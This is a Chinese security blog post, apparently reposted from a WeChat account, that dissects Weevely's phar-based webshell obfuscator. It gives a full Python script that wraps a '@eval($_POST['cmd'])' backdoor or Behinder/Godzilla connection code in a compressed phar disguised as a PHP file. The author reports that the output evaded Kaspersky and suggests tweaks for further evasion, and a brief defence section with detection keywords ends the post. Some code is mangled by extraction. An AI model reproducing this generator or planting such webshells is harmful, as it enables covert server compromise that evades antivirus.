实战Weevely管理工具免杀马研究即生成另类免杀马

admin 2025年5月28日13:43:49评论14 views字数 10259阅读34分11秒阅读模式

Weevely是一款基于Python语言开发的渗透测试工具,主要用于在目标主机上执行远程操作,类似中国菜刀。本篇文章主要介绍Weevely免杀马原理。

一、背景

前几天,同事突然给了我一个php木马让我看看,攻击者使用的是phar文件,但是该phar文件可以执行被当作php文件来执行,且里面写了执行代码(使用了zlib压缩)。最重要的是,上传到微步报 正常文件。

只有卡巴斯基报了毒

实战Weevely管理工具免杀马研究即生成另类免杀马

具体文件内容如下

┌──(root㉿kali)-[~/Desktop]└─# xxd 123.phar 000000003c3f 7068702069663675646520225c  <?phpinclude"00000010: 3136 305c 7836 385c 3134 315c 7837 325c  160x68141x7200000020: 3732 5c35 375c 3537 222e 6261 7365 6e61  725757".basena000000306d65 2855f46 4944555f29 2e225c35  me(__FILE__)."500000040: 375c 7837 3822 3b5f 5f48 414c 545f 434f  7x78";__HALT_CO000000504d50 494455228293b20 3f3e 2f00 0000  MPILER(); ?>/...0000006001000000110000100100000000000000  ................0000007000000100000078e10100000000000057  ......x........W000000800100001445f6 4bff 1100000000000055  ....E.K........U0000009090514bc3 301485df fb2b 4ab8 cc84 0eb7  .QK.0....+J.....000000a0: ea98 cc2c 58049f7c 515f c72c 6d77 b365  ...,X..|Q_.,mw.e000000b0: 6b93 92662a1b fbef de56 14241038 dfe5  k..f*....V.$.8..000000c0: 9ccb b9cb 8776 d7c6 f851 d4fc 0a0e 8aa5  .....v...Q......000000d0: 8b79 39d5 e98c 4938 ec14 c3b2 98cf 319d  .y9...I8......1.000000e0: eab2 b8eb 91566cb6 29f5 02178bea e646  .....Vl.)......F000000f0: 136150b af27 bcd5 cdf3 e793 7e779db  .j...'......~|y.00000100: 9d98 8c22 7db4 5530 cec6 5f1c c218 0ee2  ..."}.U0.._.....00000110: 1c41 a5ba e06b b49c a484 fa4f 0552 4e31  .A...k.....O.RN100000120: b269 e739 1835 9560 9650 4b32 0d64 4f84  .i.9.5.`.PK2.dO.00000130: fe25 54a3 d130 21c3 3e49 c660 9244 4494  .%T..0!.>I.`.DD.00000140: ecae 1584 1598 f53b 1c56 b05f cbe8 42cf  .......;.V._..B.00000150: 6338 7a1b 83eb a5d1 31cf 5a8f dbbc 2942  c8z.....1.Z...)B00000160: b5e3 6c42 05f9 7522 a8d4 848d 336d 6acc  ..lB..u"....3mj.00000170: b718 f2ca d980 3674 9cd1 65ee 2713 63db  ......6t..e.'.c.0000018063606208d50 2a15 f139 ca5c 9977 a1f0  c`b..P*..9..w..000001908101965 c3ed b2ed 890a bb86 16741dcf  ...e.........t..000001a0: be78 56161dce 67f9 062b b741 0ecd 2a5d  .xV...g..+.A..*]000001b0: 8bfe 0e823cd4 b6cf f8b7 ad8f 22867693  ....<.......".v.000001c0: 5735 16b6 07e0 d56f 0eda 21a7 4fde 9efe  W5.....o..!.O...000001d0: 1681 fbc9 9451 eb8d 0d9c 414b adc0 5327  .....Q....AK..S'000001e0: 46f0 7225 e437 8bdc 22b1 ccc2 9a87 45f4  F.r%.7..".....E.000001f0: fcf3 0217 b585 36a4 9120020000004742  ......6.. ....GB000002004d42                                     MB┌──(root㉿kali)-[~/Desktop]└─# cat 123.phar <?phpinclude"160x68141x72725757".basename(__FILE__)."57x78";__HALT_COMPILER(); ?>/x�WE�K�U�QK�0���+J�����,X�|Q_�,mw�ek��f*��V$8���˹ˇv���Q�����y9���I8�ò��1�겸��Vl�)����FjdO��%T��0!�>I�`�DD������;V�_��B�c8z���1�Z�ۼ)B��lB�u"�Ԅ�3mj▒��ـ6t��e�'c�c`b�`�PK2                                                                          �P*�9��w���                                                                                      e������AK��S'F�r%�7��"���E�����6�� GBMB

二、客户端生成源码分析

默认混淆器

在weevely源码中,bd目录里面有agent目录和obfuscators目录。其中 agent 目录为webshell来 代码执行的php代码。obfuscators目录为来混淆 代码执行 的代码。其中 myobfusc.tpl 是我自己写的。

实战Weevely管理工具免杀马研究即生成另类免杀马

且在利用工具生成木马时,可以选择 agents 和 obfuscators。

weevely generate -agent obfpost_php -obfuscator obfusc1_php "An0ma1" ./An0ma1.php

实战Weevely管理工具免杀马研究即生成另类免杀马

其中 cleartext1_php 是无混淆模式,即直接输出 代码执行 的连接代码

实战Weevely管理工具免杀马研究即生成另类免杀马

obfusc1_php混淆器 做了混淆,但混淆力度不够,有特征值,会轻易被杀。具体可以参考这篇文章

实战Webshell管理工具Weevely检测思路分析 - FreeBuf网络安全行业门户

重点要分析的是 phar 混淆器。微步云沙箱报正常文件

混淆器源码如下,agent 为传入的变量,值为 代码执行 的连接代码,即obfpost_php里面的值

<%!import ioimport zlibimport base64import hashlibfrom datetime import datetime%><%clean_agent = agent.strip(b'n')stub = b"""<?php include "\160\x68\141\x72\72\57\57".basename(__FILE__)."\57\x78";__HALT_COMPILER(); ?>"""fname = b'x'f = b'<?php eval(''+clean_agent+b'');'fenc = zlib.compress(f)[2:-4]flags = 0x00011000output = io.BytesIO()output.write(stub)# Manifestmanifest_len_cursor = output.tell()output.write(b'����'# Placeholder for manifest lengthoutput.write((1).to_bytes(4'little'))output.write(b'x11x00'# Phar versionoutput.write((flags).to_bytes(4'little'))output.write((0).to_bytes(4'little')) # Aliasoutput.write((0).to_bytes(4'little')) # Metadata# Entry manifestoutput.write(len(fname).to_bytes(4'little'))output.write(fname)output.write(len(f).to_bytes(4'little'))output.write(int(0).to_bytes(4'little')) # Timestampoutput.write(len(fenc).to_bytes(4'little'))output.write(zlib.crc32(f).to_bytes(4'little'))output.write((0o777 | 0x00001000).to_bytes(4'little'))output.write((0).to_bytes(4'little'))# Fix manifest lengthmanifest_len = output.tell() - manifest_len_cursor - 4s, t = manifest_len_cursor, manifest_len_cursor + 4output.getbuffer()[s:t] = manifest_len.to_bytes(4'little')# Contentoutput.write(fenc)output.write(hashlib.sha1(output.getvalue()).digest())output.write((0x0002).to_bytes(4'little'))output.write(b'GBMB')%>b64:${base64.b64encode(output.getvalue()).decode('utf-8')}

下面会 phar 文件格式 进行详细解释

phar 文件格式

PHAR(PHP Archive)是PHP的归档文件格式,类似于JAR文件,可将多个PHP文件、资源打包为单一文件。

先看一个简单例子

<?phpclassTestObject{}$phar = new Phar("phar.phar");       //生成时,后缀名必须为phar$phar->startBuffering();             //开启缓存$phar->setStub("<?php __HALT_COMPILER();?>");  //设置stub$o = new TestObject();$phar->setMetadata($o);        //设置元数据$phar->addFromString("An0ma1.txt","An0ma1");     // 添加数据存储$phar->stopBuffering();                  // 结束后会自动签名?>

phar 文件格式分四部分

Stub部分

首先,生成一个phar时,一定要有stub,且 stub 一定要以 __HALT_COMPILER(); ?> 结尾,注意:封号后门必须有一个空格,这里主要是 通过__HALT_COMPILER(); ?>标记PHAR文件元数据开始部分

Manifest元数据

二进制数据,小端序

偏移量 长度 字段 示例值 说明
0x00
4
Manifest长度
0x3C000000
总长度
0x04
4
文件数量
0x01000000
包含1个文件
0x08
2
API版本
0x0011
PHAR 1.1.0
0x0A
4
全局标志
0x00100001
压缩+SHA1签名
0x0E
4
别名长度
0x00000000
无别名
0x12
4
元数据类型
0x00000000
无序列化metadata

数据存储

偏移量 长度 字段 示例值 说明
0x00
4
文件名长度
0x01000000
文件名长度1字节(示例文件名为x<br><br>)
0x04
实际长度
文件名内容
0x78
ASCII字符 x
0x05
4
原始大小
0x14000000
未压缩文件内容长度
0x09
4
Unix时间戳
0x00000000
时间戳置零
0x0D
4
压缩后大小
0x0F000000
压缩后文件内容长度
0x11
4
CRC32校验值
0x78563412
校验和计算值(示例0x12345678<br><br>的小端序表示)
0x15
4
权限+压缩标志
0xFF110000 0o777

<br><br>权限(0x1FF)与0x1000<br><br>压缩标志组合(实际值0x11FF<br><br>小端序)
0x19
4
元数据长度
0x00000000
无附加元数据

签名部分

偏移量 长度 字段 示例值 说明
0x00
20
SHA1哈希值
.....
总长度20字节
0x20
4
签名类型
0x02000000
SHA1签名类型
0x24
4
魔术签名
GBMB
GBMB

三、对免杀马进行分析

对上面免杀马的模板继续 依次分析

clean_agent = agent.strip(b'n')stub = b"""<?php include "\160\x68\141\x72\72\57\57".basename(__FILE__)."\57\x78";__HALT_COMPILER(); ?>"""fname = b'x'f = b'<?php eval(''+clean_agent+b'');'fenc = zlib.compress(f)[2:-4]flags = 0x00011000output = io.BytesIO()output.write(stub)
  • 首先,写入 Stub 部分。
  • phar要保存的文件名为x。
  • 将要混淆的 代码执行 的连接代码 使用 eavl 包裹。
  • 对文件内容进行 zlib 压缩,去除 zlib头尾。
  • flags 是个标识位,后面再说
# Manifestmanifest_len_cursor = output.tell()output.write(b'����'# Placeholder for manifest lengthoutput.write((1).to_bytes(4'little'))output.write(b'x11x00'# Phar versionoutput.write((flags).to_bytes(4'little'))output.write((0).to_bytes(4'little')) # Aliasoutput.write((0).to_bytes(4'little')) # Metadata
  • 先填入4字节的元数据总长度占位,后面填写完再计算总长度,修改该位置
  • 4字节的 文件数量,由于只包含一个 x ,即文件数量为1
  • 2字节 的 phar 文件版本标识
  • 4字节的标识位,该值固定,可当特征 0x00011000 ,表示进行压缩和SHA1签名
  • 4字节的别名长度,这里为0
  • 4字节的 元数据类型 ,无序列化的metadata,这里为0。(让我想起了 ctf 里面 phar序列化)
# Entry manifestoutput.write(len(fname).to_bytes(4'little'))output.write(fname)output.write(len(f).to_bytes(4'little'))output.write(int(0).to_bytes(4'little')) # Timestampoutput.write(len(fenc).to_bytes(4'little'))output.write(zlib.crc32(f).to_bytes(4'little'))output.write((0o777 | 0x00001000).to_bytes(4'little'))output.write((0).to_bytes(4'little'))# Fix manifest lengthmanifest_len = output.tell() - manifest_len_cursor - 4s, t = manifest_len_cursor, manifest_len_cursor + 4output.getbuffer()[s:t] = manifest_len.to_bytes(4'little')# Contentoutput.write(fenc)
  • 4字节的文件名长度
  • 接着写入文件名,这里文件名为 x ,即写入1字节 0x78
  • 4字节的未压缩文件内容长度
  • 4字节的时间戳
  • 4字节的压缩后文件内容长度
  • 4字节的crc32校验,对未压缩的文件内容进行crc32校验
  • 4字节的文件权限 权限+压缩标志。0x00001000 表示使用 zlib 压缩。0o777 | 0x00001000的值为 xffx11x00x00,可以当作特征
  • 4字节文件元数据长度,这里为0
  • 之后代码就是计算写入的元数据部分和文件存储部分总长度,然后修改之前元数据长度
  • 接着写入zlib压缩之后的文件内容
output.write(hashlib.sha1(output.getvalue()).digest())output.write((0x0002).to_bytes(4'little'))output.write(b'GBMB')%>b64:${base64.b64encode(output.getvalue()).decode('utf-8')}
  • 之后就是20字节的 对已经写入内容的sha1签名信息。
  • 0x0002 表示签名类型,这里为 sha1。
  • GBMB为魔术签名,格式固定。

这里肯定有人好奇,既然写入x文件的内容是 zlib压缩的,那为什么直接 include basename(__FILE__)x。没有 对 文件内容的解码部分?

是这样的,这是 phar文件的自动解压机制解析 。PHAR文件的自动解压依赖于文件条目中的压缩标志位 ,即代码中 output.write((0o777 | 0x00001000).to_bytes(4, 'little')) # 权限+压缩标志 这段。 其中 0x00001000 对应 PharEntry::COMPRESSED,激活自动解压。

四、自写免杀马

上面混淆代码本质 是 在 phar 文件里面嵌入一段其它的php代码。那么这段代码可不可以是 冰蝎,哥斯拉,蚁剑的连接代码?说白了,这就像是一个壳。使用python进行整理,脚本如下

code 变量里面可以切换为 冰蝎,哥斯拉,蚁剑的连接代码

测试该格式的木马 适用版本 PHP 5.3+

import ioimport zlibimport base64import hashlibimport argparsedef generate_phar(agent_code: bytes) -> bytes:# 清理输入代码    clean_agent = agent_code.strip(b'n')# 1. 构造Phar存根(路径混淆)    stub = b"""<?php include "\160\x68\141\x72\72\57\57".basename(__FILE__)."\57\x78";__HALT_COMPILER(); ?>"""# 2. 构造内部恶意代码    fname = b'x'    f = clean_agent# 3. 压缩内容(绕过基础检测)    fenc = zlib.compress(f)[2:-4]  # 移除zlib头尾# 4. 初始化二进制流    output = io.BytesIO()    output.write(stub)# 5. 写入Manifest占位符    manifest_len_cursor = output.tell()    output.write(b'����'# 6. 构建Manifest结构    output.write((1).to_bytes(4'little'))      output.write(b'x11x00'    output.write((0x00011000).to_bytes(4'little'))      output.write((0).to_bytes(4'little'))      output.write((0).to_bytes(4'little'))  # 7. 写入文件条目    output.write(len(fname).to_bytes(4'little'))      output.write(fname)      output.write(len(f).to_bytes(4'little'))      output.write(int(0).to_bytes(4'little'))      output.write(len(fenc).to_bytes(4'little'))      output.write(zlib.crc32(f).to_bytes(4'little'))     output.write((0o777 | 0x00001000).to_bytes(4'little'))     output.write((0).to_bytes(4'little'))  # 8. 修正Manifest长度    manifest_len = output.tell() - manifest_len_cursor - 4    output.seek(manifest_len_cursor)    output.write(manifest_len.to_bytes(4'little'))# 9. 追加压缩内容    output.seek(0, io.SEEK_END)    output.write(fenc)# 10. 计算签名    full_content = output.getvalue()    output.write(hashlib.sha1(full_content).digest())     output.write((0x0002).to_bytes(4'little'))     output.write(b'GBMB')  return base64.b64encode(output.getvalue())if __name__ == "__main__":    code="<?php @eval($_POST['cmd']);?>"# 生成并输出Base64结果    b64_phar = generate_phar(code.encode('utf-8'))print(f"b64:{b64_phar.decode('utf-8')}")    with open("123.php","wb"as f:        f.write(base64.b64decode(b64_phar))print("Done!")

冰蝎测试成功

实战Weevely管理工具免杀马研究即生成另类免杀马

哥斯拉测试成功

实战Weevely管理工具免杀马研究即生成另类免杀马

为什么卡巴斯基会查杀,个人测试其可能使用了熵值检测 或关键词 include "160x68141x72725757".basename(__FILE__)."57x78";__HALT_COMPILER(); ?>。我生成php文件内容如下

实战Weevely管理工具免杀马研究即生成另类免杀马

可以正常执行命令

实战Weevely管理工具免杀马研究即生成另类免杀马

但是卡巴斯基不杀了。且GPT也没有发现这是一个木马文件

实战Weevely管理工具免杀马研究即生成另类免杀马

一些思考

对免杀马的进一步魔改,首先 __HALT_COMPILER(); ?> 之前代码可以随便写。

其次,上面使用的是 0o777 | 0x00001000。即 zlib 加密方式,是不是可以改成 0x00002000 Bzip2压缩 , 0x0000F000 压缩算法掩码 等其它格式。0o777是不是权限太大了,改成 0o750。

签名部分是不是可以改成 0x0001 md5签名。 0x0004 OpenSSL签名 。

文件名是不是可以修改。

二进制一些字段。 别名长度 元数据类型 API版本 Unix时间戳,全局标识 是不是可以修改。

这些修改之后可以进一步 过掉 杀软的关键词查杀。(当然,现在还没有)

五、防御

  1. 禁用Phar扩展
; php.ini配置phar.readonly = Onallow_url_include = Off
  1. 杀软对web文件,php,phar,phtml,pht等内容进行熵值检测
  2. 查杀关键字 GMBN``xffx11x00x00``basename(__FILE__) 条件同时存在

关 注 有 礼

欢迎关注公众号:网络安全者

实战Weevely管理工具免杀马研究即生成另类免杀马

本文内容来自网络,如有侵权请联系删除

原文始发于微信公众号(网络安全者):实战Weevely管理工具免杀马研究即生成另类免杀马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月28日13:43:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战Weevely管理工具免杀马研究即生成另类免杀马https://cn-sec.com/archives/4106681.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息